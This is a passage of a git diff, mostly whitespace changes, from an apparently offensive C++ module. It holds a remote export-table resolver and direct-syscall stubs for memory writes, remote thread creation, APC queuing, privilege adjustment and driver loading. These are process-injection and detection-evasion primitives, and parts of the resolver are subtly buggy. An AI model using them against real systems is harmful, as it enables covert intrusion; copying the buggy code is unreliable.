if(OptHeader32.NumberOfRvaAndSizes >= IMAGE_DIRECTORY_ENTRY_EXPORT + 1) + { + ExportDirectory.VirtualAddress = (OptHeader32.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]).VirtualAddress; + ExportDirectory.Size = (OptHeader32.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]).Size; + } + else + goto GRPA_FAIL_JMP; - /* Read the main export table */ - if(!::ReadProcessMemory(hProcess, (LPCVOID)(RemoteModuleBaseVA + ExportDirectory.VirtualAddress), &ExportTable, sizeof(ExportTable), NULL)) - goto GRPA_FAIL_JMP; + /* Read the main export table */ + if(!::ReadProcessMemory(hProcess, (LPCVOID)(RemoteModuleBaseVA + ExportDirectory.VirtualAddress), &ExportTable, sizeof(ExportTable), NULL)) + goto GRPA_FAIL_JMP; - /* Save the absolute address of the tables so we don't need to keep adding the base address */ - ExportFunctionTableVA = RemoteModuleBaseVA + ExportTable.AddressOfFunctions; - ExportNameTableVA = RemoteModuleBaseVA + ExportTable.AddressOfNames; - ExportOrdinalTableVA = RemoteModuleBaseVA + ExportTable.AddressOfNameOrdinals; + /* Save the absolute address of the tables so we don't need to keep adding the base address */ + ExportFunctionTableVA = RemoteModuleBaseVA + ExportTable.AddressOfFunctions; + ExportNameTableVA = RemoteModuleBaseVA + ExportTable.AddressOfNames; + ExportOrdinalTableVA = RemoteModuleBaseVA + ExportTable.AddressOfNameOrdinals; - /* Allocate memory for our copy of the tables */ - ExportFunctionTable = new DWORD[ExportTable.NumberOfFunctions]; - ExportNameTable = new DWORD[ExportTable.NumberOfNames]; - ExportOrdinalTable = new WORD[ExportTable.NumberOfNames]; + /* Allocate memory for our copy of the tables */ + ExportFunctionTable = new DWORD[ExportTable.NumberOfFunctions]; + ExportNameTable = new DWORD[ExportTable.NumberOfNames]; + ExportOrdinalTable = new WORD[ExportTable.NumberOfNames]; - /* Check if the allocation failed */ - if(ExportFunctionTable == NULL || ExportNameTable == NULL || ExportOrdinalTable == NULL) - goto GRPA_FAIL_JMP; + /* Check if the allocation failed */ + if(ExportFunctionTable == NULL || ExportNameTable == NULL || ExportOrdinalTable == NULL) + goto GRPA_FAIL_JMP; - /* Get a copy of the function table */ - if(!::ReadProcessMemory(hProcess, (LPCVOID)ExportFunctionTableVA, - ExportFunctionTable, ExportTable.NumberOfFunctions * sizeof(DWORD), NULL)) - goto GRPA_FAIL_JMP; + /* Get a copy of the function table */ + if(!::ReadProcessMemory(hProcess, (LPCVOID)ExportFunctionTableVA, + ExportFunctionTable, ExportTable.NumberOfFunctions * sizeof(DWORD), NULL)) + goto GRPA_FAIL_JMP; - /* Get a copy of the name table */ - if(!::ReadProcessMemory(hProcess, (LPCVOID)ExportNameTableVA, - ExportNameTable, ExportTable.NumberOfNames * sizeof(DWORD), NULL)) - goto GRPA_FAIL_JMP; + /* Get a copy of the name table */ + if(!::ReadProcessMemory(hProcess, (LPCVOID)ExportNameTableVA, + ExportNameTable, ExportTable.NumberOfNames * sizeof(DWORD), NULL)) + goto GRPA_FAIL_JMP; - /* Get a copy of the ordinal table */ - if(!::ReadProcessMemory(hProcess, (LPCVOID)ExportOrdinalTableVA, - ExportOrdinalTable, ExportTable.NumberOfNames * sizeof(WORD), NULL)) - goto GRPA_FAIL_JMP; + /* Get a copy of the ordinal table */ + if(!::ReadProcessMemory(hProcess, (LPCVOID)ExportOrdinalTableVA, + ExportOrdinalTable, ExportTable.NumberOfNames * sizeof(WORD), NULL)) + goto GRPA_FAIL_JMP; - /* If we are searching for an ordinal we do that now */ - if(UseOrdinal) - { - /* NOTE: - /* Microsoft's PE/COFF specification does NOT say we need to subtract the ordinal base - /* from our ordinal but it seems to always give the wrong function if we don't */ + /* If we are searching for an ordinal we do that now */ + if(UseOrdinal) + { + /* NOTE: + /* Microsoft's PE/COFF specification does NOT say we need to subtract the ordinal base + /* from our ordinal but it seems to always give the wrong function if we don't */ - /* Make sure the ordinal is valid */ - if(Ordinal < ExportTable.Base || (Ordinal - ExportTable.Base) >= ExportTable.NumberOfFunctions) - goto GRPA_FAIL_JMP; + /* Make sure the ordinal is valid */ + if(Ordinal < ExportTable.Base || (Ordinal - ExportTable.Base) >= ExportTable.NumberOfFunctions) + goto GRPA_FAIL_JMP; - UINT FunctionTableIndex = Ordinal - ExportTable.Base; + UINT FunctionTableIndex = Ordinal - ExportTable.Base; - /* Check if the function is forwarded and if so get the real address*/ - if(ExportFunctionTable[FunctionTableIndex] >= ExportDirectory.VirtualAddress && - ExportFunctionTable[FunctionTableIndex] <= ExportDirectory.VirtualAddress + ExportDirectory.Size) - { - Done = FALSE; - std::string TempForwardString; - TempForwardString.clear(); // Empty the string so we can fill it with a new name + /* Check if the function is forwarded and if so get the real address*/ + if(ExportFunctionTable[FunctionTableIndex] >= ExportDirectory.VirtualAddress && + ExportFunctionTable[FunctionTableIndex] <= ExportDirectory.VirtualAddress + ExportDirectory.Size) + { + Done = FALSE; + std::string TempForwardString; + TempForwardString.clear(); // Empty the string so we can fill it with a new name - /* Get the forwarder string one character at a time because we don't know how long it is */ - for(UINT_PTR i = 0; !Done; ++i) - { - /* Get next character */ - if(!::ReadProcessMemory(hProcess, - (LPCVOID)(RemoteModuleBaseVA + ExportFunctionTable[FunctionTableIndex] + i), - &TempChar, sizeof(TempChar), NULL)) - goto GRPA_FAIL_JMP; + /* Get the forwarder string one character at a time because we don't know how long it is */ + for(UINT_PTR i = 0; !Done; ++i) + { + /* Get next character */ + if(!::ReadProcessMemory(hProcess, + (LPCVOID)(RemoteModuleBaseVA + ExportFunctionTable[FunctionTableIndex] + i), + &TempChar, sizeof(TempChar), NULL)) + goto GRPA_FAIL_JMP; - TempForwardString.push_back(TempChar); // Add it to the string + TempForwardString.push_back(TempChar); // Add it to the string - /* If it's NUL we are done */ - if(TempChar == (CHAR)'\0') - Done = TRUE; - } + /* If it's NUL we are done */ + if(TempChar == (CHAR)'\0') + Done = TRUE; + } - /* Find the dot that seperates the module name and the function name/ordinal */ - size_t Dot = TempForwardString.find('.'); - if(Dot == std::string::npos) - goto GRPA_FAIL_JMP; + /* Find the dot that seperates the module name and the function name/ordinal */ + size_t Dot = TempForwardString.find('.'); + if(Dot == std::string::npos) + goto GRPA_FAIL_JMP; - /* Temporary variables that hold parts of the forwarder string */ - std::string RealModuleName, RealFunctionId; - RealModuleName = TempForwardString.substr(0, Dot - 1); - RealFunctionId = TempForwardString.substr(Dot + 1, std::string::npos); + /* Temporary variables that hold parts of the forwarder string */ + std::string RealModuleName, RealFunctionId; + RealModuleName = TempForwardString.substr(0, Dot - 1); + RealFunctionId = TempForwardString.substr(Dot + 1, std::string::npos); - HMODULE RealModule = GetRemoteModuleHandle(hProcess, RealModuleName.c_str()); - FARPROC TempReturn;// Make a temporary variable to hold return value + HMODULE RealModule = GetRemoteModuleHandle(hProcess, RealModuleName.c_str()); + FARPROC TempReturn;// Make a temporary variable to hold return value - /* Figure out if the function was exported by name or by ordinal */ - if(RealFunctionId.at(0) == '#') // Exported by ordinal - { - UINT RealOrdinal = 0; - RealFunctionId.erase(0, 1); // Remove '#' from string + /* Figure out if the function was exported by name or by ordinal */ + if(RealFunctionId.at(0) == '#') // Exported by ordinal + { + UINT RealOrdinal = 0; + RealFunctionId.erase(0, 1); // Remove '#' from string - /* My version of atoi() because I was too lazy to use the real one... */ - for(size_t i = 0; i < RealFunctionId.size(); ++i) - { - if(RealFunctionId[i] >= '0' && RealFunctionId[i] <= '9') - { - RealOrdinal *= 10; - RealOrdinal += RealFunctionId[i] - '0'; - } - else - break; - } + /* My version of atoi() because I was too lazy to use the real one... */ + for(size_t i = 0; i < RealFunctionId.size(); ++i) + { + if(RealFunctionId[i] >= '0' && RealFunctionId[i] <= '9') + { + RealOrdinal *= 10; + RealOrdinal += RealFunctionId[i] - '0'; + } + else + break; + } - /* Recursively call this function to get return value */ - TempReturn = GetRemoteProcAddress(hProcess, RealModule, NULL, RealOrdinal, TRUE); - } - else // Exported by name - { - /* Recursively call this function to get return value */ - TempReturn = GetRemoteProcAddress(hProcess, RealModule, RealFunctionId.c_str(), 0, FALSE); - } - - /* Give back that memory */ - delete[] ExportFunctionTable; - delete[] ExportNameTable; - delete[] ExportOrdinalTable; - - /* Success!!! */ - return TempReturn; - } - else // Not Forwarded - { + /* Recursively call this function to get return value */ + TempReturn = GetRemoteProcAddress(hProcess, RealModule, NULL, RealOrdinal, TRUE); + } + else // Exported by name + { + /* Recursively call this function to get return value */ + TempReturn = GetRemoteProcAddress(hProcess, RealModule, RealFunctionId.c_str(), 0, FALSE); + } + + /* Give back that memory */ + delete[] ExportFunctionTable; + delete[] ExportNameTable; + delete[] ExportOrdinalTable; + + /* Success!!! */ + return TempReturn; + } + else // Not Forwarded + { - /* Make a temporary variable to hold return value*/ - FARPROC TempReturn = (FARPROC)(RemoteModuleBaseVA + ExportFunctionTable[FunctionTableIndex]); - - /* Give back that memory */ - delete[] ExportFunctionTable; - delete[] ExportNameTable; - delete[] ExportOrdinalTable; - - /* Success!!! */ - return TempReturn; - } - } + /* Make a temporary variable to hold return value*/ + FARPROC TempReturn = (FARPROC)(RemoteModuleBaseVA + ExportFunctionTable[FunctionTableIndex]); + + /* Give back that memory */ + delete[] ExportFunctionTable; + delete[] ExportNameTable; + delete[] ExportOrdinalTable; + + /* Success!!! */ + return TempReturn; + } + } - /* Iterate through all the names and see if they match the one we are looking for */ - for(DWORD i = 0; i < ExportTable.NumberOfNames; ++i) { - std::string TempFunctionName; + /* Iterate through all the names and see if they match the one we are looking for */ + for(DWORD i = 0; i < ExportTable.NumberOfNames; ++i) { + std::string TempFunctionName; - Done = FALSE;// Reset for next name - TempFunctionName.clear(); // Empty the string so we can fill it with a new name + Done = FALSE;// Reset for next name + TempFunctionName.clear(); // Empty the string so we can fill it with a new name - /* Get the function name one character at a time because we don't know how long it is */ - for(UINT_PTR j = 0; !Done; ++j) - { - /* Get next character */ - if(!::ReadProcessMemory(hProcess, (LPCVOID)(RemoteModuleBaseVA + ExportNameTable[i] + j), - &TempChar, sizeof(TempChar), NULL)) - goto GRPA_FAIL_JMP; + /* Get the function name one character at a time because we don't know how long it is */ + for(UINT_PTR j = 0; !Done; ++j) + { + /* Get next character */ + if(!::ReadProcessMemory(hProcess, (LPCVOID)(RemoteModuleBaseVA + ExportNameTable[i] + j), + &TempChar, sizeof(TempChar), NULL)) + goto GRPA_FAIL_JMP; - TempFunctionName.push_back(TempChar); // Add it to the string + TempFunctionName.push_back(TempChar); // Add it to the string - /* If it's NUL we are done */ - if(TempChar == (CHAR)'\0') - Done = TRUE; - } + /* If it's NUL we are done */ + if(TempChar == (CHAR)'\0') + Done = TRUE; + } - /* Does the name match? */ - if(TempFunctionName.find(lpProcName) != std::string::npos) - { - /* NOTE: - /* Microsoft's PE/COFF specification says we need to subtract the ordinal base - /*from the value in the ordinal table but that seems to always give the wrong function */ + /* Does the name match? */ + if(TempFunctionName.find(lpProcName) != std::string::npos) + { + /* NOTE: + /* Microsoft's PE/COFF specification says we need to subtract the ordinal base + /*from the value in the ordinal table but that seems to always give the wrong function */ - /* Check if the function is forwarded and if so get the real address*/ - if(ExportFunctionTable[ExportOrdinalTable[i]] >= ExportDirectory.VirtualAddress && - ExportFunctionTable[ExportOrdinalTable[i]] <= ExportDirectory.VirtualAddress + ExportDirectory.Size) - { - Done = FALSE; - std::string TempForwardString; - TempForwardString.clear(); // Empty the string so we can fill it with a new name + /* Check if the function is forwarded and if so get the real address*/ + if(ExportFunctionTable[ExportOrdinalTable[i]] >= ExportDirectory.VirtualAddress && + ExportFunctionTable[ExportOrdinalTable[i]] <= ExportDirectory.VirtualAddress + ExportDirectory.Size) + { + Done = FALSE; + std::string TempForwardString; + TempForwardString.clear(); // Empty the string so we can fill it with a new name - /* Get the forwarder string one character at a time because we don't know how long it is */ - for(UINT_PTR j = 0; !Done; ++j) - { - /* Get next character */ - if(!::ReadProcessMemory(hProcess, - (LPCVOID)(RemoteModuleBaseVA + ExportFunctionTable[i] + j), - &TempChar, sizeof(TempChar), NULL)) - goto GRPA_FAIL_JMP; + /* Get the forwarder string one character at a time because we don't know how long it is */ + for(UINT_PTR j = 0; !Done; ++j) + { + /* Get next character */ + if(!::ReadProcessMemory(hProcess, + (LPCVOID)(RemoteModuleBaseVA + ExportFunctionTable[i] + j), + &TempChar, sizeof(TempChar), NULL)) + goto GRPA_FAIL_JMP; - TempForwardString.push_back(TempChar); // Add it to the string + TempForwardString.push_back(TempChar); // Add it to the string - /* If it's NUL we are done */ - if(TempChar == (CHAR)'\0') - Done = TRUE; - } + /* If it's NUL we are done */ + if(TempChar == (CHAR)'\0') + Done = TRUE; + } - /* Find the dot that seperates the module name and the function name/ordinal */ - size_t Dot = TempForwardString.find('.'); - if(Dot == std::string::npos) - goto GRPA_FAIL_JMP; + /* Find the dot that seperates the module name and the function name/ordinal */ + size_t Dot = TempForwardString.find('.'); + if(Dot == std::string::npos) + goto GRPA_FAIL_JMP; - /* Temporary variables that hold parts of the forwarder string */ - std::string RealModuleName, RealFunctionId; - RealModuleName = TempForwardString.substr(0, Dot); - RealFunctionId = TempForwardString.substr(Dot + 1, std::string::npos); + /* Temporary variables that hold parts of the forwarder string */ + std::string RealModuleName, RealFunctionId; + RealModuleName = TempForwardString.substr(0, Dot); + RealFunctionId = TempForwardString.substr(Dot + 1, std::string::npos); - HMODULE RealModule = GetRemoteModuleHandle(hProcess, RealModuleName.c_str()); - FARPROC TempReturn;// Make a temporary variable to hold return value + HMODULE RealModule = GetRemoteModuleHandle(hProcess, RealModuleName.c_str()); + FARPROC TempReturn;// Make a temporary variable to hold return value - /* Figure out if the function was exported by name or by ordinal */ - if(RealFunctionId.at(0) == '#') // Exported by ordinal - { - UINT RealOrdinal = 0; - RealFunctionId.erase(0, 1); // Remove '#' from string + /* Figure out if the function was exported by name or by ordinal */ + if(RealFunctionId.at(0) == '#') // Exported by ordinal + { + UINT RealOrdinal = 0; + RealFunctionId.erase(0, 1); // Remove '#' from string - /* My version of atoi() because I was to lazy to use the real one... */ - for(size_t i = 0; i < RealFunctionId.size(); ++i) - { - if(RealFunctionId[i] >= '0' && RealFunctionId[i] <= '9') - { - RealOrdinal *= 10; - RealOrdinal += RealFunctionId[i] - '0'; - } - else - break; - } + /* My version of atoi() because I was to lazy to use the real one... */ + for(size_t i = 0; i < RealFunctionId.size(); ++i) + { + if(RealFunctionId[i] >= '0' && RealFunctionId[i] <= '9') + { + RealOrdinal *= 10; + RealOrdinal += RealFunctionId[i] - '0'; + } + else + break; + } - /* Recursively call this function to get return value */ - TempReturn = GetRemoteProcAddress(hProcess, RealModule, NULL, RealOrdinal, TRUE); - } - else // Exported by name - { - /* Recursively call this function to get return value */ - TempReturn = GetRemoteProcAddress(hProcess, RealModule, RealFunctionId.c_str(), 0, FALSE); - } - - /* Give back that memory */ - delete[] ExportFunctionTable; - delete[] ExportNameTable; - delete[] ExportOrdinalTable; - - /* Success!!! */ - return TempReturn; - } - else // Not Forwarded - { + /* Recursively call this function to get return value */ + TempReturn = GetRemoteProcAddress(hProcess, RealModule, NULL, RealOrdinal, TRUE); + } + else // Exported by name + { + /* Recursively call this function to get return value */ + TempReturn = GetRemoteProcAddress(hProcess, RealModule, RealFunctionId.c_str(), 0, FALSE); + } + + /* Give back that memory */ + delete[] ExportFunctionTable; + delete[] ExportNameTable; + delete[] ExportOrdinalTable; + + /* Success!!! */ + return TempReturn; + } + else // Not Forwarded + { - /* Make a temporary variable to hold return value*/ - FARPROC TempReturn; - - /* NOTE: - /* Microsoft's PE/COFF specification says we need to subtract the ordinal base - /*from the value in the ordinal table but that seems to always give the wrong function */ - //TempReturn = (FARPROC)(RemoteModuleBaseVA + ExportFunctionTable[ExportOrdinalTable[i] - ExportTable.Base]); - - /* So we do it this way instead */ - TempReturn = (FARPROC)(RemoteModuleBaseVA + ExportFunctionTable[ExportOrdinalTable[i]]); - - /* Give back that memory */ - delete[] ExportFunctionTable; - delete[] ExportNameTable; - delete[] ExportOrdinalTable; - - /* Success!!! */ - return TempReturn; - } - } + /* Make a temporary variable to hold return value*/ + FARPROC TempReturn; + + /* NOTE: + /* Microsoft's PE/COFF specification says we need to subtract the ordinal base + /*from the value in the ordinal table but that seems to always give the wrong function */ + //TempReturn = (FARPROC)(RemoteModuleBaseVA + ExportFunctionTable[ExportOrdinalTable[i] - ExportTable.Base]); + + /* So we do it this way instead */ + TempReturn = (FARPROC)(RemoteModuleBaseVA + ExportFunctionTable[ExportOrdinalTable[i]]); + + /* Give back that memory */ + delete[] ExportFunctionTable; + delete[] ExportNameTable; + delete[] ExportOrdinalTable; + + /* Success!!! */ + return TempReturn; + } + } - /* Wrong function let's try the next... */ - } + /* Wrong function let's try the next... */ + } /* Uh Oh... */ GRPA_FAIL_JMP: - /* If we got to the point where we allocated memory we need to give it back */ - if(ExportFunctionTable != NULL) - delete[] ExportFunctionTable; - if(ExportNameTable != NULL) - delete[] ExportNameTable; - if(ExportOrdinalTable != NULL) - delete[] ExportOrdinalTable; + /* If we got to the point where we allocated memory we need to give it back */ + if(ExportFunctionTable != NULL) + delete[] ExportFunctionTable; + if(ExportNameTable != NULL) + delete[] ExportNameTable; + if(ExportOrdinalTable != NULL) + delete[] ExportOrdinalTable; - /* Falure... */ - return NULL; + /* Falure... */ + return NULL; } //----------------------------------------------------------------------------- diff --git a/modules/ModuleCmd/include.hpp b/modules/ModuleCmd/include.hpp index b71c69c..d80029f 100644 --- a/modules/ModuleCmd/include.hpp +++ b/modules/ModuleCmd/include.hpp @@ -7,91 +7,91 @@ #define SW3_RVA2VA(Type, DllBase, Rva) (Type)((ULONG_PTR) DllBase + Rva) typedef struct _SW3_PEB_LDR_DATA { - BYTE Reserved1[8]; - PVOID Reserved2[3]; - LIST_ENTRY InMemoryOrderModuleList; + BYTE Reserved1[8]; + PVOID Reserved2[3]; + LIST_ENTRY InMemoryOrderModuleList; } SW3_PEB_LDR_DATA, *PSW3_PEB_LDR_DATA; typedef struct _SW3_LDR_DATA_TABLE_ENTRY { - PVOID Reserved1[2]; - LIST_ENTRY InMemoryOrderLinks; - PVOID Reserved2[2]; - PVOID DllBase; + PVOID Reserved1[2]; + LIST_ENTRY InMemoryOrderLinks; + PVOID Reserved2[2]; + PVOID DllBase; } SW3_LDR_DATA_TABLE_ENTRY, *PSW3_LDR_DATA_TABLE_ENTRY; typedef struct _SW3_PEB { - BYTE Reserved1[2]; - BYTE BeingDebugged; - BYTE Reserved2[1]; - PVOID Reserved3[2]; - PSW3_PEB_LDR_DATA Ldr; + BYTE Reserved1[2]; + BYTE BeingDebugged; + BYTE Reserved2[1]; + PVOID Reserved3[2]; + PSW3_PEB_LDR_DATA Ldr; } SW3_PEB, *PSW3_PEB; typedef struct _PS_ATTRIBUTE { - ULONG Attribute; - SIZE_T Size; - union - { - ULONG Value; - PVOID ValuePtr; - } u1; - PSIZE_T ReturnLength; + ULONG Attribute; + SIZE_T Size; + union + { + ULONG Value; + PVOID ValuePtr; + } u1; + PSIZE_T ReturnLength; } PS_ATTRIBUTE, *PPS_ATTRIBUTE; // typedef struct _UNICODE_STRING // { -// USHORT Length; -// USHORT MaximumLength; -// PWSTR Buffer; +// USHORT Length; +// USHORT MaximumLength; +// PWSTR Buffer; // } UNICODE_STRING, *PUNICODE_STRING; // typedef struct _OBJECT_ATTRIBUTES // { -// ULONG Length; -// HANDLE RootDirectory; -// PUNICODE_STRING ObjectName; -// ULONG Attributes; -// PVOID SecurityDescriptor; -// PVOID SecurityQualityOfService; +// ULONG Length; +// HANDLE RootDirectory; +// PUNICODE_STRING ObjectName; +// ULONG Attributes; +// PVOID SecurityDescriptor; +// PVOID SecurityQualityOfService; // } OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES; // typedef struct _CLIENT_ID // { -// HANDLE UniqueProcess; -// HANDLE UniqueThread; +// HANDLE UniqueProcess; +// HANDLE UniqueThread; // } CLIENT_ID, *PCLIENT_ID; typedef struct _PS_ATTRIBUTE_LIST { - SIZE_T TotalLength; - PS_ATTRIBUTE Attributes[1]; + SIZE_T TotalLength; + PS_ATTRIBUTE Attributes[1]; } PS_ATTRIBUTE_LIST, *PPS_ATTRIBUTE_LIST; typedef enum _MEMORY_INFORMATION_CLASS { - MemoryBasicInformation, - MemoryWorkingSetInformation, - MemoryMappedFilenameInformation, - MemoryRegionInformation, - MemoryWorkingSetExInformation, - MemorySharedCommitInformation, - MemoryImageInformation, - MemoryRegionInformationEx, - MemoryPrivilegedBasicInformation, - MemoryEnclaveImageInformation, - MemoryBasicInformationCapped + MemoryBasicInformation, + MemoryWorkingSetInformation, + MemoryMappedFilenameInformation, + MemoryRegionInformation, + MemoryWorkingSetExInformation, + MemorySharedCommitInformation, + MemoryImageInformation, + MemoryRegionInformationEx, + MemoryPrivilegedBasicInformation, + MemoryEnclaveImageInformation, + MemoryBasicInformationCapped } MEMORY_INFORMATION_CLASS, *PMEMORY_INFORMATION_CLASS; #ifndef InitializeObjectAttributes #define InitializeObjectAttributes( p, n, a, r, s ) { \ - (p)->Length = sizeof( OBJECT_ATTRIBUTES ); \ - (p)->RootDirectory = r; \ - (p)->Attributes = a; \ - (p)->ObjectName = n; \ - (p)->SecurityDescriptor = s; \ - (p)->SecurityQualityOfService = NULL; \ + (p)->Length = sizeof( OBJECT_ATTRIBUTES ); \ + (p)->RootDirectory = r; \ + (p)->Attributes = a; \ + (p)->ObjectName = n; \ + (p)->SecurityDescriptor = s; \ + (p)->SecurityQualityOfService = NULL; \ } #endif diff --git a/modules/ModuleCmd/peb.hpp b/modules/ModuleCmd/peb.hpp index 0d46724..a88e96e 100644 --- a/modules/ModuleCmd/peb.hpp +++ b/modules/ModuleCmd/peb.hpp @@ -630,8 +630,8 @@ typedef struct _INVERTED_FUNCTION_TABLE_KERNEL_MODE typedef enum _SECTION_INHERIT { - ViewShare = 1, - ViewUnmap = 2 + ViewShare = 1, + ViewUnmap = 2 } SECTION_INHERIT, *PSECTION_INHERIT; diff --git a/modules/ModuleCmd/syscall.cpp b/modules/ModuleCmd/syscall.cpp index bebace8..619b1eb 100644 --- a/modules/ModuleCmd/syscall.cpp +++ b/modules/ModuleCmd/syscall.cpp @@ -1,57 +1,57 @@ -#include "syscall.hpp" - - -DWORD GlobalHash = 0x0; - - -EXTERN_C DWORD getGlobalHash() -{ - return GlobalHash; -} - - -DWORD SW3_HashSyscall(const char *FunctionName) -{ - DWORD Hash = 0x811C9DC5; // FNV offset basis - DWORD FNV_prime = 0x01000193; // FNV prime - - int c; - while (c = *FunctionName++) - { - Hash ^= c; // XOR the byte into the lowest byte of the hash - Hash *= FNV_prime; // Multiply by FNV prime - } - - return Hash & 0xFFFFFFFF; // Ensure the result is a 32-bit hash -} - -bool compareEntry(Entry i1, Entry i2) -{ - return (i1.getAddress() < i2.getAddress()); -} - -SyscallList* SyscallList::singleton_= nullptr; - - -SyscallList *SyscallList::GetInstance() -{ - if(singleton_==nullptr){ - singleton_ = new SyscallList(); - } - return singleton_; -} - - -EXTERN_C DWORD SW3_GetSyscallNumber(DWORD FunctionHash) -{ - SyscallList* singleton = SyscallList::GetInstance(); - return singleton->getSyscallNumber(FunctionHash); -} - - -EXTERN_C PVOID SW3_GetSyscallAddress(DWORD FunctionHash) -{ - SyscallList* singleton = SyscallList::GetInstance(); - return singleton->getSyscallAddress(FunctionHash); -} - +#include "syscall.hpp" + + +DWORD GlobalHash = 0x0; + + +EXTERN_C DWORD getGlobalHash() +{ + return GlobalHash; +} + + +DWORD SW3_HashSyscall(const char *FunctionName) +{ + DWORD Hash = 0x811C9DC5; // FNV offset basis + DWORD FNV_prime = 0x01000193; // FNV prime + + int c; + while (c = *FunctionName++) + { + Hash ^= c; // XOR the byte into the lowest byte of the hash + Hash *= FNV_prime; // Multiply by FNV prime + } + + return Hash & 0xFFFFFFFF; // Ensure the result is a 32-bit hash +} + +bool compareEntry(Entry i1, Entry i2) +{ + return (i1.getAddress() < i2.getAddress()); +} + +SyscallList* SyscallList::singleton_= nullptr; + + +SyscallList *SyscallList::GetInstance() +{ + if(singleton_==nullptr){ + singleton_ = new SyscallList(); + } + return singleton_; +} + + +EXTERN_C DWORD SW3_GetSyscallNumber(DWORD FunctionHash) +{ + SyscallList* singleton = SyscallList::GetInstance(); + return singleton->getSyscallNumber(FunctionHash); +} + + +EXTERN_C PVOID SW3_GetSyscallAddress(DWORD FunctionHash) +{ + SyscallList* singleton = SyscallList::GetInstance(); + return singleton->getSyscallAddress(FunctionHash); +} + diff --git a/modules/ModuleCmd/syscall.hpp b/modules/ModuleCmd/syscall.hpp index 55703d0..266ddf4 100644 --- a/modules/ModuleCmd/syscall.hpp +++ b/modules/ModuleCmd/syscall.hpp @@ -1,633 +1,633 @@ -#pragma once - -#include -#include -#include "include.hpp" - -#include -#include -#include - -extern DWORD GlobalHash; - -EXTERN_C DWORD getGlobalHash(); -DWORD SW3_HashSyscall(PCSTR FunctionName); -EXTERN_C DWORD SW3_GetSyscallNumber(DWORD FunctionHash); -EXTERN_C PVOID SW3_GetSyscallAddress(DWORD FunctionHash); - - -EXTERN_C NTSTATUS Sw3NtAllocateVirtualMemory( -IN HANDLE ProcessHandle, -IN OUT PVOID * BaseAddress, -IN ULONG ZeroBits, -IN OUT PSIZE_T RegionSize, -IN ULONG AllocationType, -IN ULONG Protect); - - -EXTERN_C NTSTATUS Sw3NtWaitForSingleObject( -IN HANDLE ObjectHandle, -IN BOOLEAN Alertable, -IN PLARGE_INTEGER TimeOut OPTIONAL); - - -EXTERN_C NTSTATUS Sw3NtCreateThreadEx( -OUT PHANDLE ThreadHandle, -IN ACCESS_MASK DesiredAccess, -IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, -IN HANDLE ProcessHandle, -IN PVOID StartRoutine, -IN PVOID Argument OPTIONAL, -IN ULONG CreateFlags, -IN SIZE_T ZeroBits, -IN SIZE_T StackSize, -IN SIZE_T MaximumStackSize, -IN PPS_ATTRIBUTE_LIST AttributeList OPTIONAL); - - -EXTERN_C NTSTATUS Sw3NtClose( -IN HANDLE Handle); - - -EXTERN_C NTSTATUS Sw3NtWriteVirtualMemory( -IN HANDLE ProcessHandle, -IN PVOID BaseAddress, -IN PVOID Buffer, -IN SIZE_T NumberOfBytesToWrite, -OUT PSIZE_T NumberOfBytesWritten OPTIONAL); - - -EXTERN_C NTSTATUS Sw3NtProtectVirtualMemory( -IN HANDLE ProcessHandle, -IN OUT PVOID * BaseAddress, -IN OUT PSIZE_T RegionSize, -IN ULONG NewProtect, -OUT PULONG OldProtect); - - -EXTERN_C NTSTATUS Sw3NtOpenProcess( -OUT PHANDLE ProcessHandle, -IN ACCESS_MASK DesiredAccess, -IN POBJECT_ATTRIBUTES ObjectAttributes, -IN CLIENT_ID* ClientId OPTIONAL); - - -EXTERN_C NTSTATUS Sw3NtCreateProcess( -OUT PHANDLE ProcessHandle, -IN ACCESS_MASK DesiredAccess, -IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, -IN HANDLE ParentProcess, -IN BOOLEAN InheritObjectTable, -IN HANDLE SectionHandle OPTIONAL, -IN HANDLE DebugPort OPTIONAL, -IN HANDLE ExceptionPort OPTIONAL ); - - -EXTERN_C NTSTATUS Sw3NtQueueApcThread( -IN HANDLE ThreadHandle, -IN PIO_APC_ROUTINE ApcRoutine, -IN PVOID ApcRoutineContext OPTIONAL, -IN PIO_STATUS_BLOCK ApcStatusBlock OPTIONAL, -IN ULONG pcReserved OPTIONAL ); - - -EXTERN_C NTSTATUS Sw3NtResumeThread( -IN HANDLE ThreadHandle, -OUT PULONG SuspendCount OPTIONAL ); - - -EXTERN_C NTSTATUS Sw3NtOpenProcessToken( -IN HANDLE ProcessHandle, -IN ACCESS_MASK DesiredAccess, -OUT PHANDLE TokenHandle); - - -EXTERN_C NTSTATUS Sw3NtAdjustPrivilegesToken( -IN HANDLE TokenHandle, -IN BOOLEAN DisableAllPrivileges, -IN PTOKEN_PRIVILEGES NewState OPTIONAL, -IN ULONG BufferLength, -OUT PTOKEN_PRIVILEGES PreviousState OPTIONAL, -OUT PULONG ReturnLength OPTIONAL); - - -EXTERN_C NTSTATUS Sw3NtQueryVirtualMemory( -IN HANDLE ProcessHandle, -IN PVOID BaseAddress, -IN MEMORY_INFORMATION_CLASS MemoryInformationClass, -OUT PVOID MemoryInformation, -IN SIZE_T MemoryInformationLength, -OUT PSIZE_T ReturnLength OPTIONAL); - - -EXTERN_C NTSTATUS Sw3NtReadVirtualMemory( -IN HANDLE ProcessHandle, -IN PVOID BaseAddress OPTIONAL, -OUT PVOID Buffer, -IN SIZE_T BufferSize, -OUT PSIZE_T NumberOfBytesRead OPTIONAL); - -EXTERN_C NTSTATUS Sw3NtWriteFile( -IN HANDLE FileHandle, -IN HANDLE Event OPTIONAL, -IN PIO_APC_ROUTINE ApcRoutine OPTIONAL, -IN PVOID ApcContext OPTIONAL, -OUT PIO_STATUS_BLOCK IoStatusBlock, -IN PVOID Buffer, -IN ULONG Length, -IN PLARGE_INTEGER ByteOffset OPTIONAL, -IN PULONG Key OPTIONAL -); - -EXTERN_C NTSTATUS Sw3NtLoadDriver( - PUNICODE_STRING DriverServiceName -); - -EXTERN_C NTSTATUS Sw3NtDeviceIoControlFile( - IN HANDLE FileHandle, - IN HANDLE Event OPTIONAL, - IN PIO_APC_ROUTINE ApcRoutine OPTIONAL, - IN PVOID ApcContext OPTIONAL, - OUT PIO_STATUS_BLOCK IoStatusBlock, - IN ULONG IoControlCode, - IN PVOID InputBuffer OPTIONAL, - IN ULONG InputBufferLength, - OUT PVOID OutputBuffer OPTIONAL, - IN ULONG OutputBufferLength -); - -EXTERN_C NTSTATUS 